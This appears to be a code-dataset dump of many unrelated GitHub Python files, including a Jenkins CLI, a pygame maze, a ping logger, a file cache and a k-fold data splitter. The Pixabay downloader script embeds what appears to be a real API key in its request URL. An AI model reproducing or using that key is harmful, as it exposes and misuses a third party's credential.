ts.show_leaf_name = False # because there is a Face showing it\n ts.show_branch_length = False\n ts.margin_left = 25\n ts.margin_right = 25\n ts.margin_top = 25\n ts.margin_bottom = 25\n ts.scale = 200\n ts.show_scale = False\n tree.render(os.path.join(\"rate_adjustment\", f\"{species}\", f\"{_TREE.format(species)}\"), w=4.5, units=\"in\", tree_style=ts)\n","repo_name":"altingia/ksrates","sub_path":"ksrates/fc_manipulate_trees.py","file_name":"fc_manipulate_trees.py","file_ext":"py","file_size_in_byte":43648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"73184596355","text":"#! /usr/bin/env python3\nimport requests\nimport json\nimport os\nimport shutil\nimport subprocess\nurl=\"https://pixabay.com/api/?q=covid+19&key=19196085-78cbce97aff065ef6bb1b4ea6&min_width=1800&min_height=1000&per_page=200\"\nimages=requests.get(url)\nimage = json.loads(images.text)\ntry:\n shutil.rmtree(\"/srv/Covid/public/css/gallery/\",ignore_errors=True)\n os.mkdir(\"/srv/Covid/public/css/gallery/\")\nexcept:\n pass\npathfile=(\"/srv/Covid/public/css/gallery/paths.txt\")\npathfile=open(pathfile,\"a+\")\nos.chdir(\"/srv/Covid/public/css/gallery/\")\nfor element in image[\"hits\"]:\n url=element[\"largeImageURL\"]\n path= \"/css/gallery/\"+ url.replace(\"https://pixabay.com/get/\",\"\")+\"::\"+element[\"user\"]+\"::\"+element[\"pageURL\"]\n pathfile.write(path)\n pathfile.write(\"\\n\")\n subprocess.run([\"aria2c\",url])\n","repo_name":"efanibi25/CovidTracker_CS290","sub_path":"public/css/pixelbay.py","file_name":"pixelbay.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16971507488","text":"from concurrent.futures import ProcessPoolExecutor\nfrom multiprocessing import current_process, Value\nimport os\n\n\nclass DataStore:\n def __init__(self):\n self.value = Value('i', 0)\n\n def increase_value(self):\n self.value.value += 1\n print(current_process().name, self.value.value)\n\n def decrease_value(self):\n self.value.value -= 1\n print(current_process().name, self.value.value)\n\n\ndef main():\n parent_process_id = os.getpid()\n print(f\"메인 프로세스 아이디: {parent_process_id}\")\n\n store = DataStore()\n print(store.value.value)\n with ProcessPoolExecutor(max_workers=5) as executor:\n for _ in range(100):\n try:\n executor.submit(store.increase_value)\n executor.submit(store.decrease_value)\n except Exception as e:\n print(e)\n print(store.value.value)\n\n\nif __name__ == '__main__':\n main()","repo_name":"iamkimwater/CS-Study","sub_path":"Python/4. Advanced/OS/OS3. Multi process/multi_process_shared_memory.py","file_name":"multi_process_shared_memory.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37021357994","text":"print('NUMEROS NEGATIVOS')\nj = 0\nnum1 = int(input('¿Cúantos valores va a introducir?: '))\nif num1 < 0:\n print('¡Imposible!')\nelif num1 == 0:\n print('No has escrito ningún número negativo')\nelse:\n for i in range(1, num1+1):\n numero = int(input('Escriba el {}) número: '.format(i)))\n if numero < 0:\n j = j + 1\n print('Ha escrito {} números negativos'.format(j))","repo_name":"DanihellToledo14/TodoPython","sub_path":"ContadorNegativos.py","file_name":"ContadorNegativos.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5948490115","text":"\"\"\"Jenkins REST API CLI commands module\"\"\"\nimport logging\nfrom abc import ABC\nfrom http import HTTPStatus\n\nimport click\nfrom typeguard import typechecked\n\nfrom parat.cli.common.options import verbose_option\nfrom parat.cli.jenkins.basic.options import (\n job_name_option, build_number_option, url_end_option,\n)\nfrom parat.use_cases.jenkins_job_info import JenkinsJobInfoUseCase\nfrom parat.utils.jenkins.jenkins_rest_api.jenkins_utils import JenkinsUtils\nfrom parat.utils.logging_utils import initialize_logging\n\n\n@click.group(name='jenkins_basic_commands')\ndef jenkins_basic_commands() -> None:\n \"\"\"Entry point\"\"\"\n\n\nclass BasicCommands(ABC):\n @jenkins_basic_commands.command()\n @verbose_option\n @job_name_option\n @staticmethod\n @typechecked\n def start_build(verbose: bool, job_name: str) -> None:\n \"\"\"Kicks off a Jenkins job build based on job name\"\"\"\n initialize_logging(verbose)\n logging.info('Kicking off build (%s)...', job_name)\n if JenkinsUtils().start_jenkins_build(job_name).status_code == HTTPStatus.CREATED:\n logging.info('Successfully kicked off build (%s)!', job_name)\n else:\n logging.error('Failed to kick off build (%s)!', job_name)\n\n @jenkins_basic_commands.command()\n @verbose_option\n @url_end_option\n @staticmethod\n @typechecked\n def start_build_url(verbose: bool, url_end: str) -> None:\n \"\"\"Starts Jenkins job based on URL ending\"\"\"\n initialize_logging(verbose)\n logging.info('Kicking off build (%s)...', url_end)\n if (JenkinsUtils().start_jenkins_build_url_end(\n JenkinsUtils.trim_url_end_option_util(url_end)\n ) == HTTPStatus.CREATED):\n logging.info('Successfully kicked off build (%s)!', url_end)\n else:\n logging.error('Failed to kick off build (%s)!', url_end)\n\n @jenkins_basic_commands.command()\n @verbose_option\n @job_name_option\n @build_number_option\n @staticmethod\n @typechecked\n def get_console_output(verbose: bool, job_name: str, build_number: int) -> None:\n \"\"\"Gets console output for specific Jenkins job build\"\"\"\n initialize_logging(verbose)\n logging.info('Getting console output for (%s) build number #%s...',\n job_name,\n build_number)\n logging.info('Console output: \\n%s',\n JenkinsUtils()\n .get_jenkins_build_console_output(job_name, build_number))\n\n @jenkins_basic_commands.command()\n @verbose_option\n @job_name_option\n @build_number_option\n @staticmethod\n @typechecked\n def get_jenkins_build_json(verbose: bool, job_name: str, build_number: int) -> None:\n \"\"\"Gets Jenkins job build JSON data from REST API\"\"\"\n initialize_logging(verbose)\n logging.info('Getting API JSON for (%s) build number #%s...',\n job_name,\n build_number)\n logging.info('Jenkins JSON: \\n%s',\n JenkinsUtils()\n .get_jenkins_build_dict(job_name, build_number))\n\n @jenkins_basic_commands.command()\n @verbose_option\n @url_end_option\n @build_number_option\n @staticmethod\n @typechecked\n def get_jenkins_job_status(verbose: bool, url_end: str, build_number: int) -> None:\n \"\"\"Gets jenkins_responses job status\"\"\"\n initialize_logging(verbose)\n url_end = JenkinsUtils.trim_url_end_option_util(url_end)\n logging.info('Getting job status for (%s) build number #%s...', url_end, build_number)\n job_status = JenkinsJobInfoUseCase().get_jenkins_job_result_status(url_end, build_number)\n logging.info('Jenkins job (%s) build number #%s status: %s',\n url_end,\n build_number,\n job_status)\n","repo_name":"jonathan-lee-devel/parat","sub_path":"parat/cli/jenkins/basic/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23480228861","text":"# Problema A\r\nfrom math import sqrt\r\nfrom itertools import count, islice\r\n\r\ndef is_prime(n):\r\n return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))\r\n\r\ndef add_n_to_str(n, s):\r\n m = str(n)\r\n \r\n for c in m:\r\n if c not in s:\r\n s += c\r\n \r\n return s\r\n\r\ndef problema_a():\r\n f = cargar_archivo(\"input\")\r\n casos = f.readline()\r\n \r\n result = \"\"\r\n \r\n # Para controlar que no se quede en un loop infinito\r\n max_iterations_without_changes = 1000\r\n \r\n for case_now, line in enumerate(f):\r\n # El ultimo i donde hubo cambio\r\n i_last = 0\r\n \r\n n = int(line)\r\n \r\n if n == 0:\r\n result += \"Case #\" + str(case_now + 1) + \": INSOMNIA\" + \"\\n\"\r\n continue\r\n \r\n # El string que se usara para chequear si se durmio o no.\r\n all_numbers = add_n_to_str(n, \"\")\r\n \r\n # El multiplicador\r\n mult = 1\r\n \r\n while(True):\r\n all_numbers_before = all_numbers\r\n all_numbers = add_n_to_str(mult * n, all_numbers)\r\n \r\n # Control que no haya loop infinito\r\n if len(all_numbers_before) != len(all_numbers):\r\n i_last = case_now\r\n \r\n if case_now - i_last > max_iterations_without_changes:\r\n result += \"Case #\" + str(case_now + 1) + \": INSOMNIA\" + \"\\n\"\r\n break\r\n \r\n # Reviso si termino\r\n if len(all_numbers) == 10:\r\n result += \"Case #\" + str(case_now + 1) + \": \" + str(mult * n) + \"\\n\"\r\n break\r\n \r\n mult += 1\r\n \r\n print(result)\r\n guardar_archivo(\"output\", result)\r\n\r\n# Funciones comunes\r\ndef cargar_archivo(filepath):\r\n f = open(filepath, 'r');\r\n return f;\r\n\r\ndef guardar_archivo(filepath, text):\r\n f = open(filepath, 'w')\r\n f.write(text)\r\n\r\ndef main():\r\n problema_a()\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_177/2455.py","file_name":"2455.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10316737950","text":"\nr = input (\"Do you want to run the program? yes or no? \")\n\ngallonspaintneeded = 0.0\n\nwhile r == 'yes':\n length = int(input (\"Enter Length: \"))\n width = int(input (\"Enter Width: \"))\n height = int(input (\"Enter Height: \"))\n squarefootage = (2 * length * width) + (2 * length * height)+ (2 * width * height) \n gallonspaintneeded = squarefootage / 50\n print (\"Square Footage\", squarefootage)\n print (\"Gallons of Paint Needed: \", gallonspaintneeded)\n r = input (\"Do you want to run the program? yes or no? \")","repo_name":"TClayton91/CIS106-Timothy-Clayton","sub_path":"Python/assignment10/PS10P2.py","file_name":"PS10P2.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29216215270","text":"import subprocess\nimport os\n# import re for findall\nimport time\n\n\ndef main():\n\n REFRESH_TIME = 10\n\n if not os.path.exists(r\"C:\\Users\\Public\\internet_status\"):\n os.mkdir(r\"C:\\Users\\Public\\internet_status\")\n\n log_file = open(r\"C:\\Users\\Public\\internet_status\\logfile.txt\", \"a\")\n\n prev_status = my_ping()\n\n line = line_generator(prev_status)\n log_file.write(line) # Writing the first internet status.\n log_file.close()\n\n time.sleep(REFRESH_TIME)\n\n while True:\n current_status = my_ping()\n\n if current_status != prev_status:\n log_file = open(r\"C:\\Users\\Public\\internet_status\\logfile.txt\", \"a\")\n line = line_generator(current_status)\n log_file.write(line)\n prev_status = current_status\n log_file.close()\n\n time.sleep(REFRESH_TIME)\n\n\ndef line_generator(internet_status):\n\n \"\"\"\n This function create the line which be written to the file\n :param: internet_status\n :return:the line\n \"\"\"\n date = \"{0}/{1}/{2}\".format(time.localtime().tm_mday, time.localtime().tm_mon, time.localtime().tm_year)\n current_time = \"{0}:{1}:{2}\".format(time.localtime().tm_hour, time.localtime().tm_min, time.localtime().tm_sec)\n current_line = \"{0}\\t{1}\\t{2}\\n\".format(date, current_time, internet_status)\n return current_line\n\n\ndef my_ping():\n\n \"\"\"\n This function send a ping request to google and return the response.\n :param: none\n :return: internet status\n \"\"\"\n\n command = r\"ping -n 1 www.google.com > C:\\Users\\Public\\internet_status\\ping.txt\"\n #os.system(command) # Send the ping command\n subprocess.call(command, shell=True)\n # Read the response file\n f = open(r\"C:\\Users\\Public\\internet_status\\ping.txt\", \"r\")\n f = f.readlines()\n\n if len(f) == 1:\n return \"Disconnected\"\n if f[2].startswith(\"Request timed out.\"):\n return \"Timed-Out\"\n if f[2].startswith(\"Reply\"):\n return \"Connected\"\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"DorBergel/Net-stat","sub_path":"net_stat_check.py","file_name":"net_stat_check.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74038059394","text":"def solution(s):\n answer = len(s)\n # 최대 자를 수 있는 단위는 글자 수의 1/2까지임\n\n for i in range(1, len(s)//2 + 1):\n result = \"\"\n tmp = s[0:i]\n count = 1\n for j in range(i, len(s) + 1, i):\n # 만약 i단위 별 잘랐을 때 같은 글자들이면\n if(tmp == s[j:j+i]):\n count += 1\n else:\n # 만�� 다르고 count가 1이면 글자 그대로 result에 추가\n if(count == 1):\n result += tmp\n # 반복된 횟수 + 반복된 글자를 기존 result 글자에 추가\n else:\n result = result + str(count) + tmp\n # tmp는 비교했던 다음 글자들로 대체\n tmp = s[j:j+i]\n # count 초기화\n count = 1\n # i개 단위로 자르고 남은 나머지 글자들을 result에 추가\n result += s[(len(s)//i)*i:]\n # 압축된 result와 answer 중에 작은 값을 answer에 갱신\n answer = min(answer, len(result))\n return answer\n","repo_name":"nsd-algorithm/algorithm-of-the-week","sub_path":"프로그래머스/문자열_압축/chaaeri.py","file_name":"chaaeri.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5145417388","text":"import pygame\nimport random\nfrom random import shuffle\n###################################end imports\n\npygame.init()\n\n#############################konstante\na=100\nwidth=1500\nheigth=int(width*0.618033)-a\n\nzacetna=[0,0]\nkoncna=[0,1]\n##############################end konstante\n\nclass Cell:\n\tdef __init__(self, s=10, v=10):\n\t\tsuper().__init__() \n\t\tself.right=True\n\t\tself.down=True\n\t\tself.sirina=s\n\t\tself.visina=v\n\t\tself.obiskan=False\n##########################################################################################################end cell\n\nclass Mreza(pygame.sprite.Sprite):\n\t\n\tdef __init__(self,n=20,m=20):\n\t\tsuper().__init__()\n\n\t\tself.n=n\n\t\tself.m=m\n\t\tglobal koncna\n\t\tkoncna=[random.randint(int(m/2),m-1),random.randint(int(n/2),n-1)]\n\t\t\n\t\t#Cell.sirina=width/self.n\n\t\t#Cell.visina=heigth/self.m\n\n\t\tself.polje=[[Cell(width/self.m, heigth/self.n) for i in range(n)]\n\t\t\t\t\t\t\tfor j in range(m)]\n#_________________________________________________________________________________________\t\t\t\t\t\t\t\n\tdef narisi_se(self):\n\t\t#Cell.sirina=width/self.n\n\t\t#Cell.visina=heigth/self.m\n\t\t\n\t\tpygame.draw.rect(okno,(155, 255,155),(zacetna[0]*width/self.m,zacetna[1]*heigth/self.n,width/self.m,heigth/self.n),0)\n\t\tpygame.draw.rect(okno,(255, 155,155),(koncna[0]*width/self.m,koncna[1]*heigth/self.n,width/self.m,heigth/self.n),0)\n\n\t\tfor j in range(self.n):\n\t\t\tfor i in range(self.m):\n\t\t\t\tc=self.polje[i][j]\n\t\t\t\t\t\n\t\t\t\tif c.right:\n\t\t\t\t\t#pygame.draw.line(okno,(255, 0, 0),(0,100),(100,100),5)\n\t\t\t\t\tpygame.draw.line(okno,(0, 0, 0),((i+1)*c.sirina,j*c.visina),((i+1)*c.sirina,(j+1)*c.visina),3)\n\t\t\t\tif c.down:\n\t\t\t\t\tpygame.draw.line(okno,(0, 0, 0),(i*c.sirina,(j+1)*c.visina),((i+1)*c.sirina,(j+1)*c.visina),3)\n\t\t\n#_________________________________________________________________________________________\t\n\tdef dobi_sosede(self,x,y):\n\t\tsosedi=[]\n\t\tif y!=0 and self.polje[x][y-1].obiskan==False:#1\n\t\t\tsosedi.append([x,y-1])\n\t\tif x!=self.m-1 and self.polje[x+1][y].obiskan==False :#2\n\t\t\tsosedi.append([x+1,y])\t\n\t\tif y!=self.n-1 and self.polje[x][y+1].obiskan==False:#3\n\t\t\tsosedi.append([x,y+1])\n\t\tif x!=0 and self.polje[x-1][y].obiskan==False:#4\n\t\t\tsosedi.append([x-1,y])\n\t\treturn sosedi\n#_________________________________________________________________________________________\t\n\tdef generiraj_labirint(self):\n\n\t\tpot=[zacetna]\n\n\t\twhile len(pot)>0:\n\t\t\tjaz = pot[-1]\n\t\t\t#print(jaz)\n\t\t\tself.polje[jaz[0]][jaz[1]].obiskan=True\n\t\t\tsos= self.dobi_sosede(jaz[0],jaz[1])\n\n\t\t\tif len(sos)==0:\n\t\t\t\tpot.pop()\n\t\t\telse:\n\t\t\t\tshuffle(sos)\n\t\t\t\tnaslednji=sos[0]\n\t\t\t\tpot.append(naslednji)\n\t\t\t\tif naslednji[1] > jaz[1]:\n\t\t\t\t\tself.polje[jaz[0]][jaz[1]].down = False\n\n\t\t\t\telif naslednji[0] > jaz[0]:\n\t\t\t\t\tself.polje[jaz[0]][jaz[1]].right = False\n\n\t\t\t\telif naslednji[1] < jaz[1]:\n\t\t\t\t\tself.polje[naslednji[0]][naslednji[1]].down = False\n\n\t\t\t\telif naslednji[0] < jaz[0]:\n\t\t\t\t\tself.polje[naslednji[0]][naslednji[1]].right = False\n\n#_________________________________________________________________________________________\t\n\tdef mozni_sosedje(self,x,y):\n\t\tsosedi=[]\n\t\tif y!=0 and self.polje[x][y-1].obiskan==False and self.polje[x][y-1].down==False:#1 d\n\t\t\tsosedi.append([x,y-1])\n\t\tif x!=self.m-1 and self.polje[x+1][y].obiskan==False and self.polje[x][y].right==False :#2\n\t\t\tsosedi.append([x+1,y])\t\n\t\tif y!=self.n-1 and self.polje[x][y+1].obiskan==False and self.polje[x][y].down==False:#3\n\t\t\tsosedi.append([x,y+1])\n\t\tif x!=0 and self.polje[x-1][y].obiskan==False and self.polje[x-1][y].right==False:#4 d\n\t\t\tsosedi.append([x-1,y])\n\t\treturn sosedi\n\n#_________________________________________________________________________________________\t\t\t\n\tdef resi_labirint(self):\n\t\tpot=[zacetna]\n\n\t\tfor vrsta in self.polje:\n\t\t\tfor cell in vrsta:\n\t\t\t\tcell.obiskan=False\n\t\t\t\n\t\twhile True:\n\t\t\tjaz=pot[-1]\n\t\t\tif jaz==koncna:\n\t\t\t\tbreak\n\n\t\t\t\n\t\t\tself.polje[jaz[0]][jaz[1]].obiskan=True\n\t\t\tsos= self.mozni_sosedje(jaz[0],jaz[1])\n\n\t\t\tif len(sos)==0:\n\t\t\t\tpot.pop()\n\t\t\telse:\n\t\t\t\tshuffle(sos)\n\t\t\t\tnaslednji=sos[0]\n\t\t\t\tpot.append(naslednji)\n\t\t\t\tif naslednji[1] > jaz[1]:\n\t\t\t\t\tself.polje[jaz[0]][jaz[1]].down = False\n\n\t\t\t\telif naslednji[0] > jaz[0]:\n\t\t\t\t\tself.polje[jaz[0]][jaz[1]].right = False\n\n\t\t\t\telif naslednji[1] < jaz[1]:\n\t\t\t\t\tself.polje[naslednji[0]][naslednji[1]].down = False\n\n\t\t\t\telif naslednji[0] < jaz[0]:\n\t\t\t\t\tself.polje[naslednji[0]][naslednji[1]].right = False\n\t\t###narisi resitev\n\t\tw = self.polje[0][0].sirina\n\t\th = self.polje[0][0].visina\n\t\t#print(\"REŠEN\", w, h, pot)\n\t\tfor i in range(len(pot)-1):\n\t\t\tt1=[w*pot[i][0]+w/2,h*pot[i][1]+h/2]\n\t\t\tt2=[w*pot[i+1][0]+w/2,h*pot[i+1][1]+h/2]\n\t\t\tpygame.draw.line(okno,(255, 0, 0),t1,t2,5)\n\n\t\tprint(str(int(len(pot)/(self.n*self.m)*100)),\"%\")\n#_________________________________________________________________________________________\n\n##############################################################################################################end mreže\n\nokno=pygame.display.set_mode([width, heigth+a])\nura=pygame.time.Clock()\nmreza=Mreza(50,50)\n\nmreza.generiraj_labirint()\ngame=True\n\nwhile game:\n\n\tura.tick(60)\n\n\tfor dogodek in pygame.event.get():\n\t\tif dogodek.type == pygame.QUIT:\n\t\t\t# Ce uporabnik zapre okno nehajmo igrati\n\t\t\tgame = False\n\n\tokno.fill((255, 255, 255))\n\t\n\tmreza.narisi_se()\n\tmreza.resi_labirint()\n\tpygame.display.flip()\n\npygame.quit()\n","repo_name":"lukatovornik/maze","sub_path":"maze_game.py","file_name":"maze_game.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4496987512","text":"import os\nimport io\nimport pathlib\nimport shutil\n\nfrom . import config\n\ndef get_filename(path):\n base, name = os.path.split(path)\n name, ext = os.path.splitext(name)\n return name\n\n\ndef try_tqdm(iterator):\n try:\n from tqdm import tqdm\n iterator = tqdm(iterator)\n except ImportError:\n pass\n return iterator\n\nclass ReusableBytesIO(io.BytesIO):\n \"\"\"\n Wrapper for io.BytesIO that makes sure that the memory is not freed.\n This enables caching and re-using the buffer.\n\n The memory is freed when the object is garbage-collected.\n \"\"\"\n def close(self):\n self.seek(0)\n\nclass FileSystemCache(object):\n _cache_directory = None\n _cache_entries = None\n _cache_access_count = 0\n _max_cache_size = None\n _soft_cache_limit_factor = 2\n\n def __init__(self, max_cache_size=2048, cache_dir=None):\n self._cache_entries = {}\n self._max_cache_size = max_cache_size\n \n if cache_dir is None:\n import tempfile\n self._cache_directory = tempfile.mkdtemp(suffix=\".cache\")\n else:\n self._cache_directory = cache_dir\n pathlib.Path(self._cache_directory).mkdir(parents=True, exist_ok=True) \n # Reload old cache.\n self._scan_cache_directory()\n\n def __del__(self):\n shutil.rmtree(self._cache_directory)\n\n def _make_filename(self, frame_id, scale, filetype):\n return f\"{self._cache_directory}/{frame_id}_{scale:5.4f}.{filetype}\"\n def _scan_cache_directory(self):\n import decimal\n for filename in os.listdir(self._cache_directory):\n try:\n filetype = filename.split(\".\")[-1]\n short_filename = filename[:-len(filetype)-1]\n frame_id, scale = short_filename.split(\"_\")\n scale = float(scale)\n self._cache_entries[(decimal.Decimal(frame_id), scale, filetype)] = [0, f\"{self._cache_directory}/{filename}\"]\n except:\n pass\n print(f\"Loaded cache with {len(self._cache_entries)} entries.\")\n\n def put(self, cache_keys, path):\n if cache_keys in self._cache_entries:\n return True\n\n # Try to move the file.\n new_file_path = self._make_filename(*cache_keys)\n done = False\n try:\n shutil.move(path, new_file_path)\n done = True\n except:\n pass\n if not done:\n try:\n shutil.copy(path, new_file_path)\n done = True\n except:\n pass\n if not done:\n raise Exception(\"FileSystemCache: could not move or copy file to cache location!\")\n\n self._cache_access_count += 1\n self._cache_entries[cache_keys] = [self._cache_access_count, new_file_path]\n self._check_cache_size()\n return True\n\n def _check_cache_size(self):\n n_cache_entries = len(self._cache_entries)\n if n_cache_entries <= self._max_cache_size * self._soft_cache_limit_factor:\n return\n print(\"Cache cleanup.. (size at {}/{})\".format(len(self._cache_entries), self._max_cache_size * self._soft_cache_limit_factor))\n\n cachedata = [(access_time, cache_keys, file_path) for (cache_keys, (access_time, file_path)) in self._cache_entries.items()]\n\n for i, data in enumerate(sorted(cachedata)):\n if i >= (n_cache_entries - self._max_cache_size):\n break\n os.remove(data[2])\n del self._cache_entries[data[1]]\n\n assert len(self._cache_entries) <= self._max_cache_size\n \n def get(self, cache_keys):\n try:\n data = self._cache_entries[cache_keys]\n self._cache_access_count += 1\n data[0] = self._cache_access_count\n return data[1]\n except:\n raise\n \n def __contains__(self, cache_keys):\n return cache_keys in self._cache_entries\n\n def get_image_buffer(self, cache_keys):\n file_path = self.get(cache_keys)\n if file_path is None:\n return None\n\n with open(file_path, \"rb\") as file:\n buf = ReusableBytesIO(file.read())\n buf.seek(0)\n return buf","repo_name":"BioroboticsLab/beesbook_backend","sub_path":"plotter/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10410059495","text":"import os\nimport sys\nimport glob\nimport argparse\n\nfrom loguru import logger\nfrom tracks_import import read_from_csv\nfrom track_visualizer import TrackVisualizer\n\n\ndef create_args():\n config_specification = argparse.ArgumentParser(description=\"ParameterOptimizer\")\n # --- Input paths ---\n config_specification.add_argument('--input_path', default=\"../data/\",\n help=\"Dir with track files\", type=str)\n config_specification.add_argument('--recording_name', default=\"18\",\n help=\"Choose recording name.\", type=str)\n\n # --- Settings ---\n config_specification.add_argument('--scale_down_factor', default=12,\n help=\"Factor by which the tracks are scaled down to match a scaled down image.\",\n type=float)\n # --- Visualization settings ---\n config_specification.add_argument('--skip_n_frames', default=5,\n help=\"Skip n frames when using the second skip button.\",\n type=int)\n config_specification.add_argument('--plotLaneIntersectionPoints', default=False,\n help=\"Optional: decide whether to plot the direction triangle or not.\",\n type=bool)\n config_specification.add_argument('--plotBoundingBoxes', default=True,\n help=\"Optional: decide whether to plot the bounding boxes or not.\",\n type=bool)\n config_specification.add_argument('--plotDirectionTriangle', default=True,\n help=\"Optional: decide whether to plot the direction triangle or not.\",\n type=bool)\n config_specification.add_argument('--plotTrackingLines', default=True,\n help=\"Optional: decide whether to plot the direction lane intersection points or not.\",\n type=bool)\n config_specification.add_argument('--plotFutureTrackingLines', default=True,\n help=\"Optional: decide whether to plot the tracking lines or not.\",\n type=bool)\n config_specification.add_argument('--showTextAnnotation', default=True,\n help=\"Optional: decide whether to plot the text annotation or not.\",\n type=bool)\n config_specification.add_argument('--showClassLabel', default=True,\n help=\"Optional: decide whether to show the class in the text annotation.\",\n type=bool)\n config_specification.add_argument('--showVelocityLabel', default=True,\n help=\"Optional: decide whether to show the velocity in the text annotation.\",\n type=bool)\n config_specification.add_argument('--showRotationsLabel', default=False,\n help=\"Optional: decide whether to show the rotation in the text annotation.\",\n type=bool)\n config_specification.add_argument('--showAgeLabel', default=False,\n help=\"Optional: decide whether to show the current age of the track the text annotation.\",\n type=bool)\n\n parsed_config_specification = vars(config_specification.parse_args())\n return parsed_config_specification\n\n\nif __name__ == '__main__':\n config = create_args()\n\n input_root_path = config[\"input_path\"]\n recording_name = config[\"recording_name\"]\n\n if recording_name is None:\n logger.error(\"Please specify a recording!\")\n sys.exit(1)\n\n # Search csv files\n tracks_files = glob.glob(input_root_path + recording_name + \"*_tracks.csv\")\n static_tracks_files = glob.glob(input_root_path + recording_name + \"*_tracksMeta.csv\")\n recording_meta_files = glob.glob(input_root_path + recording_name + \"*_recordingMeta.csv\")\n if len(tracks_files) == 0 or len(static_tracks_files) == 0 or len(recording_meta_files) == 0:\n logger.error(\"Could not find csv files for recording {} in {}. Please check parameters and path!\",\n recording_name, input_root_path)\n sys.exit(1)\n\n # Load csv files\n logger.info(\"Loading csv files {}, {} and {}\", tracks_files[0], static_tracks_files[0], recording_meta_files[0])\n tracks, static_info, meta_info = read_from_csv(tracks_files[0], static_tracks_files[0], recording_meta_files[0])\n if tracks is None:\n logger.error(\"Could not load csv files!\")\n sys.exit(1)\n\n # Load background image for visualization\n background_image_path = input_root_path + recording_name + \"_background.png\"\n if not os.path.exists(background_image_path):\n logger.warning(\"No background image {} found. Fallback using a black background.\".format(background_image_path))\n background_image_path = None\n config[\"background_image_path\"] = background_image_path\n\n visualization_plot = TrackVisualizer(config, tracks, static_info, meta_info)\n visualization_plot.show()\n","repo_name":"yeltsinvc/THESIS_DOCTORAT","sub_path":"4.2_LSTM_Vehicle_PMD_interaction/Visualisation/drone-dataset-tools-master/src/run_track_visualization.py","file_name":"run_track_visualization.py","file_ext":"py","file_size_in_byte":5294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9520923099","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport numpy as np\n\n\ntrain = pd.read_csv('kfold/train_clean_english.csv')\n\nfrom sklearn.model_selection import StratifiedKFold\nNFOLDS = 10\nkfold = StratifiedKFold(n_splits=NFOLDS)\n\n#x_train_0 = train[train['threat']==1][['comment_text','threat']]\n#x_0 = x_train_0.comment_text\n#x_train_0.to_csv('../input/train_threat_1.csv', index=False)\n\n#x_train_0 = train[train['identity_hate']==1][['comment_text','identity_hate']]\n#x_0 = x_train_0.comment_text\n#x_train_0.to_csv('../input/train_identity_hate_1.csv', index=False)\n\n#label_cols = ['toxic', 'severe_toxic', 'obscene', 'threat', 'insult', 'identity_hate']\nlabel_cols = ['threat']\nfor i in label_cols:\n x_train_0 = train[train[i]==0][['comment_text',i]]\n x_0 = x_train_0.comment_text\n y_0 = x_train_0[i]\n x_train_1 = train[train[i]==1][['comment_text',i]]\n x_1 = x_train_1.comment_text\n y_1 = x_train_1[i]\n \n for ii,(train_index,val_index) in enumerate(kfold.split(x_0,y_0)):\n print(\"Running fold {} / {} / {}\".format(i, ii + 1, NFOLDS))\n print(\"Train Index:\",train_index,\",Val Index:\",val_index)\n X_tra,X_val = x_0[train_index],x_0[val_index]\n y_tra,y_val = y_0[train_index],y_0[val_index]\n X_tra.to_csv('kfold/train_' + str(i) + '_0_' + str(ii) + '.csv', index=False)\n X_val.to_csv('kfold/validation_' + str(i) + '_0_' + str(ii) + '.csv', index=False)\n \n for ii,(train_index,val_index) in enumerate(kfold.split(x_1,y_1)):\n print(\"Running fold {} / {} / {}\".format(i, ii + 1, NFOLDS))\n print(\"Train Index:\",train_index,\",Val Index:\",val_index)\n X_tra,X_val = x_1[train_index],x_1[val_index]\n y_tra,y_val = y_1[train_index],y_1[val_index]\n X_tra.to_csv('kfold/train_' + str(i) + '_1_' + str(ii) + '.csv', index=False)\n X_val.to_csv('kfold/validation_' + str(i) + '_1_' + str(ii) + '.csv', index=False) \n\n \nclass RocAucEvaluation(Callback):\n def __init__(self, filepath, validation_data=(), interval=10, max_epoch = 20):\n super(Callback, self).__init__()\n\n self.interval = interval\n self.filepath = filepath\n self.stopped_epoch = max_epoch\n self.best = 0\n self.X_val, self.y_val = validation_data\n self.y_pred = np.zeros(self.y_val.shape)\n\n def on_epoch_end(self, epoch, logs={}):\n if epoch % self.interval == 0:\n y_pred = self.model.predict(self.X_val, verbose=0)\n \"\"\"Important lines\"\"\"\n current = roc_auc_score(self.y_val, y_pred)\n logs['roc_auc_val'] = current\n\n if current > self.best: #save model\n self.best = current\n self.y_pred = y_pred\n self.stopped_epoch = epoch+1\n self.model.save(self.filepath, overwrite = True)\n print(\"--- AUC - epoch: {:d} - score: {:.5f}\\n\".format(epoch+1, current))\n\n def cv_score(self):\n self.cv_score = self.best\n return 